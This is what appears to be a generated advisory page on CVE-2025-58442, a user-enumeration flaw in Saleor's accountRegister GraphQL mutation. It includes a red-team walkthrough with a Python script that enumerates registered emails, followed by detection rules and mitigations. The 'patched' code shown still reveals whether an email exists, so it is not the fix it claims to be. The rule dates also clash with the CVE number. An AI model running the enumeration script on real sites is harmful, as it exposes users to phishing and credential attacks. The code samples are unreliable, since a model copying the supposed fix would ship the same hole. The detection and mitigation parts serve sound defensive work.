CVE-2025-58442
Executive Summary
CVE-2025-58442 is an information disclosure vulnerability in the Saleor e-commerce platform, affecting versions 3.21.0 through 3.21.15. The flaw resides in the accountRegister GraphQL mutation, where requesting specific fields in the response can cause errors that inadvertently reveal whether a user with a given email address already exists in the system. This is a classic user enumeration vulnerability (CWE-203: Observable Discrepancy). The CVSS score is 5.3 (Medium), with a low attack complexity and no privileges required. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk to user privacy and potential for targeted attacks remains. The vendor has released a fix in version 3.21.16, and a workaround of rate-limiting the mutation is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Saleor is a Python-based e-commerce platform distributed via PyPI and Docker images. This vulnerability does not directly affect the supply chain integrity of the package itself, but it does impact the security posture of any application using the affected versions. Organizations should verify their Saleor deployment version and update to the patched release. No malicious packages or compromised dependencies have been identified in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – the attacker does not need to trick a user.
- Scope (S): Unchanged – the exploit cannot affect other components.
- Confidentiality (C): Low – only the existence of an email address is leaked.
- Integrity (I): None – no data modification possible.
- Availability (A): None – no denial of service.
Threat Level: Medium. While the impact is limited to information disclosure, the ability to enumerate user accounts can be a stepping stone for phishing, credential stuffing, or targeted attacks.
Deep Dive & Mechanics
The vulnerability exists in the accountRegister GraphQL mutation. When a user attempts to register with an email that already exists, the mutation returns an error. However, due to a flaw in the error handling logic, requesting certain fields in the response (such as errors or user) can cause the system to return a different error message or status code depending on whether the email is already taken. This observable discrepancy allows an attacker to determine if a specific email address is registered.
The root cause is that the mutation does not consistently return the same error structure for both existing and non-existing users. In some cases, the error message may include details like "A user with this email already exists," while in other cases, a generic error is returned. By analyzing the response, an attacker can infer the existence of the account.
Vulnerable vs. Patched Code
Vulnerable Code (Saleor < 3.21.16):
# In accountRegister mutation
def mutate(cls, root, info, **data):
email = data.get("email")
if User.objects.filter(email=email).exists():
return AccountRegister(errors=[ValidationError("Email already exists")])
# ... rest of registration logic
Patched Code (Saleor >= 3.21.16):
# In accountRegister mutation
def mutate(cls, root, info, **data):
email = data.get("email")
# Always return a generic error to prevent enumeration
if User.objects.filter(email=email).exists():
return AccountRegister(errors=[ValidationError("Registration failed")])
# ... rest of registration logic
The patch ensures that the error message is identical regardless of whether the email exists, eliminating the observable discrepancy.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable Saleor instance (version 3.21.0 to 3.21.15) using Docker:
docker run -d -p 8000:8000 --name saleor-vuln saleor/saleor:3.21.0 - Ensure the GraphQL endpoint is accessible at
http://localhost:8000/graphql/.
Exploitation Steps:
- Send a GraphQL mutation to register a user with a known email:
mutation { accountRegister(input: { email: "test@example.com", password: "Test123!" }) { user { id } errors { field message } } } - Observe the response. If the email exists, the error message may be "Email already exists". If not, a different error or success is returned.
- Repeat for target email addresses to enumerate valid accounts.
Automation Script (Python):
import requests
import json
url = "http://localhost:8000/graphql/"
emails = ["admin@example.com", "user@example.com", "test@example.com"]
for email in emails:
query = """
mutation {
accountRegister(input: { email: "%s", password: "Test123!" }) {
errors {
field
message
}
}
}
""" % email
response = requests.post(url, json={"query": query})
data = response.json()
if "errors" in data and data["errors"]:
print(f"{email}: {data['errors'][0]['message']}")
else:
print(f"{email}: No error (account may not exist)")
Blue Team
Detection:
- Monitor for repeated
accountRegistermutations from the same IP address. - Look for patterns where the mutation is called with different email addresses in quick succession.
- Alert on error messages containing "Email already exists" (pre-patch) or any discrepancy in error responses.
Mitigation:
- Apply the patch by upgrading to Saleor 3.21.16 or later.
- Implement rate limiting on the
accountRegistermutation to slow down enumeration attempts. - Use a Web Application Firewall (WAF) to block suspicious traffic patterns.
Indicators of Compromise (IOCs)
- Network: Repeated GraphQL POST requests to
/graphql/withaccountRegistermutations. - Logs: Error logs containing "Email already exists" or similar messages.
- Behavioral: High frequency of registration attempts from a single IP address.
- File: No specific file-based IOCs.
Detection Engineering
YARA Rule
rule CVE_2025_58442_Saleor_Enumeration {
meta:
description = "Detects Saleor account enumeration attempts via accountRegister mutation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58442"
strings:
$mutation = "accountRegister" ascii nocase
$error_msg = "Email already exists" ascii nocase
$error_field = "errors" ascii nocase
condition:
$mutation and $error_msg and $error_field
}
Sigma Rule
title: Saleor Account Enumeration via accountRegister
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple accountRegister mutations indicating user enumeration
author: Valters IT
date: 2025/04/10
logsource:
category: application
product: saleor
detection:
selection:
event: "accountRegister"
error_message: "Email already exists"
condition: selection
falsepositives:
- Legitimate registration attempts
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58442 Saleor Account Enumeration"; flow:to_server; content:"accountRegister"; http_client_body; content:"email"; http_client_body; content:"errors"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Saleor to version 3.21.16 or later.
- If upgrade is not possible, implement rate limiting on the
accountRegistermutation to reduce enumeration speed.
Long-term:
- Review all GraphQL mutations for similar information disclosure vulnerabilities.
- Implement consistent error handling that does not reveal user existence.
- Conduct regular security audits and penetration testing.
Workaround:
- Use a reverse proxy (e.g., Nginx) to rate-limit requests to the GraphQL endpoint:
limit_req_zone $binary_remote_addr zone=saleor:10m rate=5r/m; server { location /graphql/ { limit_req zone=saleor burst=10 nodelay; proxy_pass http://saleor_backend; } }
Valters IT
Securing Digital Frontiers